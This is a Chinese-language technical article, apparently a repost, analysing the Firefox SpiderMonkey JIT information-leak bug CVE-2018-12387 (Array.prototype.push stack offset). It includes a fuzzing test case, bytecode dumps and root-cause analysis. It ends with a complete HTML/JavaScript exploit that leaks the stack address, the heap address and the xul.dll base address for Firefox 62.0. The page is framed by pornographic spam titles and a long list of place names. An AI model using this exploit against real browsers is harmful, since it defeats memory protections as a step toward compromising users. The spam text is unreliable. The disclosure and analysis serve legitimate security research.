亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Firefox信息泄漏漏洞的技術分析

發布時間:2021-12-22 23:08:25 來源:億速云 閱讀:150 作者:柒染 欄目:安全技術

這篇文章將為大家詳細講解有關如何進行Firefox信息泄漏漏洞的技術分析,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

前言

研究發現,JavaScript JIT編輯器中的Array.prototype.push有多個存在安全問題的參數,而這些參數共同導致了這個信息泄漏漏洞的出現。這個漏洞會將內存地址泄露給一個相關調用函數,攻擊者將能夠使用這個地址來進一步實施攻擊。

廠商回復

這個安全漏洞已經在Firefox 62.0.3和Firefox ESR 60.2.2版本中得到了修復。

漏洞CVE編號

CVE-2018-12387

漏洞發現者

BrunoKeith和NiklasBaumstark,獨立安全研究員,在發現該漏洞之后他們便將漏洞信息上報給了Beyond Security的SecuriTeam安全披露項目。

受影響的系統

Firefox 62.0

Firefox ESR 60.2

漏洞詳情

在對Spidermonkey(Mozilla的JavaScript引擎,采用C++編寫)進行模糊測試的過程中,我們用下面這段代碼成功觸發了一次調試斷言(Debug Assertion):

functionf(o) {       var a = [o];       a.length = a[0];       var useless = function () {}       var sz = Array.prototype.push.call(a, 42,43);       (function () {              sz;       })(new Boolean(false));}for(var i = 0; i < 25000; i++) {       f(1);}f(2);

上述代碼觸發了如下所示的斷言(Assertion):

Assertion failure: isObject() and crashes in releaseBuild

根本原因分析

在運行JIT編譯器生成的代碼時,函數f生成了上述斷言。

接下來,我們一起看一看JIT代碼中的IR(中間表示):

如何進行Firefox信息泄漏漏洞的技術分析

我們可以看到上圖中的arraypusht指令,關于該指令的內容可參考【這篇文檔】。函數中的注釋信息表示,調用push命令的參數將會被分成多個單獨的arraypush{t,v}指令。此時會觸發斷言,因為在調用函數時,棧指針沒有被正確恢復。

在了解了錯誤發生的場景之后,我們需要從BaselineCompiler.cpp中尋找到負責執行syncStack(0)的操作碼Handler,并通過peek()來獲取棧地址值:

//Load lhs in R0, rhs in R1. frame.syncStack(0); masm.loadValue(frame.addressOfStackValue(frame.peek(-2)),R0); masm.loadValue(frame.addressOfStackValue(frame.peek(-1)),R1); // Call IC. ICSetProp_Fallback::Compiler compiler(cx); if(!emitOpIC(compiler.getStub(&stubSpace_)))     return false; // Leave the object on the stack. frame.pop();

這個操作碼會被下列JavaScript代碼執行:

functionf() {       var y = {};       var o = {              a: y       };}dis(f); /* bytecode: 00000: newobject ({}) # OBJ 00005: setlocal 0 # OBJ 00009: pop # 00010: newobject ({a:(void 0)}) # OBJ 00015: getlocal 0 # OBJ y 00019: initprop "a" # OBJ 00024: setlocal 1 # OBJ 00028: pop # 00029: retrval # */

Handler告訴了我們這個操作碼是如何被編譯的:R0被設置為了stack[top-1] = o,R1被設置為了stack[top] = y,接下來內部緩存會設置R0.a = R1。由于棧地址偏移,在下面的代碼中會執行stack[top].a = stack[top+1],因此我們可以在棧外獲取一個JSValue:

vartest = {       a: 13.37}; functionf(o) {       var a = [o];       a.length = a[0];       var useless = function () {}       useless + useless;       var sz = Array.prototype.push.call(a,1337, 43);       (function () {              sz       })();       var o = {              a: test       };}dis(f);for(var i = 0; i < 25000; i++) {       f(1);}f(100);print(test.a);
/*bytecode:...00034:lambda function() {} # FUN00039:setlocal 1 # FUN00043:pop #00044:getlocal 1 # useless00048:getlocal 1 # useless useless00052:add # (useless + useless)00053:pop #00054:getgname "Array" # Array00059:getprop "prototype" # Array.prototype00064:getprop "push" # Array.prototype.push00069:dup # Array.prototype.push Array.prototype.push00070:callprop "call" # Array.prototype.push Array.prototype.push.call00075:swap # Array.prototype.push.call Array.prototype.push00076:getlocal 0 # Array.prototype.push.call Array.prototype.push a00080:uint16 1337 # Array.prototype.push.call Array.prototype.push a 133700083:int8 43 # Array.prototype.push.call Array.prototype.push a 1337 4300085:funcall 3 # Array.prototype.push.call(...)...00104:newobject ({a:(void 0)}) # OBJ00109:getgname "test" # OBJ test00114:initprop "a" # OBJ00119:setarg 0 # OBJ00122:pop #00123:retrval #

指令48只會將一個函數push進堆內存中,這樣一來指令85(funcall)將不會拋出異常,因為它會嘗試從棧中獲取Array.prototype.push.call,但是有8字節的偏移量。并在我們的系統上打印出了2.11951350117067e-310,它是整型值0x27044d565235的double類型表示,而這是一個返回地址。最終的漏洞利用代碼將能夠利用這個缺陷來泄漏堆地址、棧地址和xul.dll的基地址。

漏洞利用代碼

<script> varconvert = new ArrayBuffer(0x100);varu32 = new Uint32Array(convert);varf64 = new Float64Array(convert); varBASE = 0x100000000; functioni2f(x) {    u32[0] = x % BASE;    u32[1] = (x - (x % BASE)) / BASE; ///    return f64[0];} functionf2i(x) {    f64[0] = x;    return u32[0] + BASE * u32[1];} functionhex(x) {    return `0x${x.toString(16)}`} vartest = {a:0x1337}; functiongen(m) {    var expr = '1+('.repeat(m) + '{a:y}' +')'.repeat(m);     var code = `    f = function(o) {        var y = test;        var a = [o];        a.length = a[0];        var useless = function() { }        useless + useless + useless + useless +useless + useless;        var sz = Array.prototype.push.call(a,1337, 43);        (function() { sz; })();        var o = ${expr};    }    `;    eval(code);} VERSION= '62.0'; functionexploit() {    var xul = 0;    var stack = 0;    var heap = 0;     var leak = [];    for (var i = 20; i >= 0; --i) {        gen(i);        for (var j = 0; j < 10000; j++) {            f(1);        }        f(100);         var x = f2i(test.a);         leak.push(x);    }     function xulbase(addr) {        if (VERSION == '62.0') {            var offsets = [                0x92fe34,                0x3bd4108,            ];        } else {            alert('Unknown version: ' +VERSION);            throw null;        }        var res = 0;        offsets.forEach((offset) => {            if (offset % 0x1000 == addr %0x1000) {                res = addr - offset;            }        });        return res;    }     xul = xulbase(leak[1]);    stack = leak[0];    heap = leak[3];     var el = document.createElement('pre');    el.innerText = (        "XUL.dll base: " + hex(xul) +"\n" +        "Stack: " + hex(stack) +"\n" +        "Heap: " + hex(heap) +"\n" +        "\nFull leak:\n" +leak.map(hex).join("\n"))    document.body.appendChild(el);}</script> <buttononclick="exploit()">Go</button>

關于如何進行Firefox信息泄漏漏洞的技術分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

隆尧县| 应用必备| 泌阳县| 河池市| 龙胜| 库尔勒市| 德保县| 炉霍县| 新丰县| 昌乐县| 景泰县| 韶山市| 文安县| 南宁市| 金门县| 祁阳县| 紫云| 安泽县| 西华县| 水城县| 古交市| 盘山县| 昌邑市| 海晏县| 靖远县| 错那县| 织金县| 慈利县| 乐安县| 临猗县| 行唐县| 西吉县| 犍为县| 普陀区| 叶城县| 丁青县| 威海市| 沙雅县| 通许县| 太保市| 永定县|